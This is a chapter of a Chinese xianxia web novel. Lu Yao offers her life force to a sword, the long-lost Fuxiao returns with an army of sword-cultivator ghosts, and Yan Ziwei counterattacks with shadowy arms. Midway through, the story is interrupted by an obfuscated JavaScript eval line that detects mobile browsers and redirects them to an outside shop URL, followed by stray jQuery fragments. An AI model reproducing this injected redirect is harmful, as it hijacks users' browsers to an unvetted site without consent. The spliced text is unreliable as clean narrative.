众人不明所以,宋杜山心里却愈发不安,他手忙脚乱地想要扑过去,险些把桑黎也给绊倒了。
桑黎重新搀扶住宋杜山,道:“小心,你……”
宋杜山有些疯疯癫癫地道:“不行。得阻止她,得阻止她。”
与此同时,几道身影全部闪现来到围墙之外。
枋竹喊道:“陆瑶!停下!”
孔无忧见多识广,哪里会不懂陆瑶在做什么,急得脸都红了,斥道:“毛头小子!你知道你在干什么吗!真是上梁不正下梁歪!枋竹你误人子弟!”
燕尤枫神志不清,心里却有根弦绷得很紧。
他说不出来话,也不知道该说什么,他只是一味地劈砍围墙,想要进到里面,想要去到某个人的身边。
陆瑶整个人都贴上了拂晓剑,单膝跪地变成了双膝,浑身的精血和灵力都要被吸干了。
她竭力地眨着眼睛,感受着自己的灵脉一点点走向枯竭。
这种感觉很奇妙,陆瑶心里却很平静,还有空分神。
这辈子她还没为谁拼过命,如今一次性救了这么多人,是不是能积很多的福报,那她下辈子是不是还能跟张蔓芝做家人?
只是可惜这辈子没娶到燕尤枫,也不知道他以后得便宜给谁了。希望他能找到一个靠谱点的人。
好累啊,从人间前往地府的路这么漫长的吗?
突然,一双手轻轻地搭在了陆瑶的手背上,有点凉。
陆瑶眨了眨眼睛,眼前模糊一片,她索性闭上了眼睛,反正是谁都与她无关了。
那人笑道:“你可真是任性啊。比我师兄还要讨厌。做什么拿这件事来刺激我?”
一股暖流顺着陆瑶的指尖滑了进来,一点点滋润她的经脉,僵硬的手臂逐渐恢复了知觉。
陆瑶头重脚轻地跪在地上,指尖微颤,她目前还没有力气站起来,只是偏头去看那个人。
那人一如记忆中那般温润如玉,他轻轻拨开陆瑶的手,握住了拂晓剑,将其从地上提了起来。
他眯起了眼睛,透过围墙,看向某个方向。
昏昏欲睡的严子维猛地睁开了眼睛,抬眸看向了那片即将坍塌的围墙。
他轻笑道:“没想到你竟然还活着。”
严子维伸了个懒腰,正欲站起来,突然有什么东西穿过了他,他不由地歪了歪头,有些意外。
只见他的身后,乃至整片废墟里不断地有东西涌现出来。
他们身影黯淡,身着各式衣袍,手持利剑,风采依旧。
他们是被困此地的亡魂,是五百年前那一战里死去的剑修们。
他们重振旗鼓,他们卷土重来,他们无所畏惧!
那些亡魂倾巢而出,斩落围墙上的诸多诡物,一如当年那般英勇无双。
枋竹从坍塌的围墙一脚闯了进来,目光紧锁在那人身上。
他抿着唇,嘴唇微张,想说什么,可是一点声音都发不出。
良久,他才听见自己的声音,道:“扶晓……”
扶晓早就察觉到了枋竹的脚步声。
这五百年来他的怒火一点都没有消退,他头也不回地站在原地。
周围的嘈杂一时间消失不见,一道只有他们俩才看得见的结界裹住了彼此。
没了拂晓剑的支撑,陆瑶直接扑到了地上,察觉到两位前辈之间的古怪氛围后,她也懒得再爬起来了,尽量降低自己的存在感。
就在这时,一双黑靴从陆瑶的眼前晃过,停在了她的旁边。
陆瑶偏过头,视线从下自上地扫过,刚看到对方修长的小腿,一抹红色落在了她的头上。
单薄的布料蹭得她的脸有点痒,透过布料她闻到了血腥味,心下一惊,想伸手扯掉脸上的布料。
布料轻轻擦过她的脸,又悠悠地滑落在了地上。
红布背后是燕尤枫那双黑沉的眸子,眼底是难以形容的悲伤和自责。
陆瑶一时有些目不暇接,想去看燕尤枫的眼睛,又想去看燕尤枫身上的伤势,急得自己都从地上爬起来了。
燕尤枫伸手扶起了陆瑶,陆瑶半坐在地上,道:“你受伤了?”
“谁伤得了我啊。”燕尤枫闷闷不乐地道。
陆瑶垂眸看着燕尤枫胸口处的鞭痕,气恼地道:“你又不是块石头,不知道躲的吗?”
“……忘了。”
“真笨。”
燕尤枫也不生气,捏着陆瑶的手腕,把她的掌心露了出来。
掌纹被一道锋利的剑痕覆盖,血肉翻飞,燕尤枫低声道:“只有笨蛋才会想出这种愚蠢的做法,你当祭剑是闹着玩的吗?”
陆瑶缩了缩手,不想给燕尤枫看自己的罪证,道:“那你有什么好的办法?”
燕尤枫松开了陆瑶的手腕,别开了头,说出来他那是什么表情,反正让陆瑶感觉有点心疼。
她知道燕尤枫肯定很在意,他失控的时机实在是太不巧了。
孔无忧不愧是热场的天才,一手拉着枋竹,一手勾住扶晓的脖子,三个人围成了个圈。
他笑道:“扶晓,你这个出场方式挺隆重的啊,还学会压轴了。是不是一直藏在暗处,就等着看我们被暴揍成孙子啊?”
扶晓露出一抹浅笑,摇了摇头,道:“我也没想到你们两居然沦落到需要后辈罩着的地步了。”
“一言难尽啊。”孔无忧道:“这五百年终是太长了。”
孔无忧捏了捏扶晓的胳膊,感受到了布料下结实的肌肉,他道:“可以啊你,这么多年你都去哪里了?也不来找哥几个。”
扶晓道:“我一直在这里。”
枋竹沉默,眼底的情绪如浪花般一波未平一波又起,可他终是开不了口。
就如孔无忧所说,这五百年太长了,期间发生了太多的事情。
即便再遇故人,心也不似当年。
有亡魂助阵,此地的诡物一瞬落入下风,竟然仓皇地开始逃窜。
陆瑶从地上站了起来,道:“前辈,这些诡物实力不俗,据说它们也是亡魂,为何它们看起来很怕后来的这些亡魂?”
扶晓闻言眼底带上几分笑意,道:“谁告诉你它们是亡魂的?”
陆瑶闭了嘴,眼睛却诚实地看向了枋竹。
枋竹捏了捏眉心,低头不知道在干什么,一副心虚的模样。
扶晓纯属就是故意的,达到他的目的后,他笑着解释道:“这些诡物不过是那些亡魂被困此地多年积攒下来的怨念,亡魂下场,它们当然害怕了。”
……怨念。
陆瑶在心里念叨着这两个字,抬眸打量着扶晓。
扶晓与那些依附在破布上的怨念不同,他有实体。
而他与那些亡魂也不同,亡魂的身影是黯淡的,他却……像一个活生生的人。
这就很难解释了。
他到底是不是人呢?
扶晓察觉到陆瑶的目光,弯起了眸子,宽容且慈祥地看着她。
陆瑶感觉半边身子都麻了,总感觉扶晓肚子里没憋什么好屁。
围墙坍塌,血红破布被身形黯淡的亡魂一剑削成多片,零零散散地飘落一地。
众人瞪大了眼睛,紧绷的神经却悄然地放松了下来。
他们不由自主地松了口气,他们心里明白他们又活过来了。
危机消除,青狐身形缩小,化为一个青年模样的剑修,周身都是大大小小的灼伤和咬痕。
宋杜山抓着狐七的胳膊,眼眶里的泪水直打转,哽咽道:“……阿七。太好了,我还以为你……”
狐七不习惯宋杜山露出这种神情,一时间不知道该做什么,只是道:“没事。我在。”
谁知,下一秒宋杜山的眼泪就从眼眶里掉了下来。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17756376|207006||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在场的很多人,无论男女,眼里都闪着泪光,他们围成一圈,互相安慰,喜极而泣。
遍体鳞伤的伤患也纷纷露出重获新生的笑容。
活着真好。
有人瑟瑟发抖地道:“他、他过来了!”
亡魂如同忠实的护卫,整齐排列在两侧,持剑拦住了闯入者。
厌一剑挑开亡魂快戳到严子维身上的剑,冷脸为他开路。
严子维步履缓慢地来到众人的跟前,他仔细地打量着那些毁掉诡物的亡魂们,似乎是在分辨他们都是谁,又似乎是在寻找着什么人。
可惜最后的结果还是差强人意,他冷淡地移开目光。
严子维看着枋竹,道:“恭喜,你的运气真的很好。”
他意有所指地看向旁边的扶晓。
枋竹没有理会严子维的打趣,道:“您还要坚持最初的那个答案吗?结果已经显而易见了。”
“你们奉行的不正是坚持和拼搏精神吗?”严子维笑眯眯地看着枋竹,道:“现在却劝我放弃,是不是有点太霸道了?”
“前辈,您的底牌还不准备露出来吗?”枋竹笑着摇了摇头,道:“您快要输了。”
“是吗?”
话音刚落,严子维的身躯突然软了下去,如蜡油般一点点融化。
黑雾淹没了他的身形,潮水般地涌入地面,在众人脚下流过。
千丝万缕的黑气在雾气中穿梭,悄然绕到众人的身后。
亡魂们立在两侧,戒备地看着周围,倏然间他们的身后窜起一抹黑影,缠绕在他们的脖子上,一点点地吞噬掉了他们。
那些黑影如影随形,隐藏在黑雾里,防不胜防。
枋竹喊道:“快散开!离他远点……呃!”
不知何时,枋竹的小腿已然被黑气缠住。
直到这时他们才发现那并不是什么黑气,而是一双双细长的漆黑的胳膊。
它们抓挠着枋竹的小腿,指甲嵌入他的血肉,拼命地往上攀爬。
孔无忧正欲一鞭子甩过去,手腕却猛地一痛。
“哥!”孔无虑喊道。
地面上窜去十几条诡异的胳膊,细密的手指缠住了孔无忧的手腕,锋利的指甲嵌入了他的血肉里。
孔无虑狠狠地朝那些胳膊抽去,但那点疼痛于那些胳膊而言不痛不痒。
“别抽了。快走。”孔无忧突然道:“马上离开这里。”
这种时候孔无虑怎么可能会丢下孔无忧离开,他一刻不停地抽打着那些胳膊,道:“不!我不走!”
孔无忧已然放弃了挣扎,看向跟他同病相怜的枋竹。
两人对视一眼,都从彼此的眼底看到了答案。
陆瑶听不到他们的心声,也看不懂他们的眼神,只是觉得奇怪。
那些黑气凝聚而成的诡物并没有动他们。
十大剑派派出的弟子们都相安无事,真正受到攻击的只有枋竹他们几个和那些亡魂。
方系最惨,好不容易避开那些怨念的侵扰,刚恢复点理智就又被那些黑气缠上。
此刻已经没精力反抗了,他离枋竹很近,两人几乎是前后脚中招。
方系两条手臂上都缠满了细密的胳膊,他有气无力地道:“我怎么感觉这些东西想吃了我,而且它们好像变大了点。”
众人连忙去看,果不其然,缠在枋竹小腿上的胳膊也大了一圈,那些指甲长且弯曲,一抓就是一个血窟窿。
孔无虑急出了一身汗,恨不得自己去替孔无忧,喊道:“这到底是什么东西?你们也拿它们没办法吗?”
“这是怨魂。”枋竹道:“成为灵戒的必经之路就是吞噬掉各色的亡魂,现在报应来了,我们只能受着。”
枋竹眼神复杂地看向黑雾中央的严子维,低声道:“没想到他竟然给了我第二份答案。怪不得……”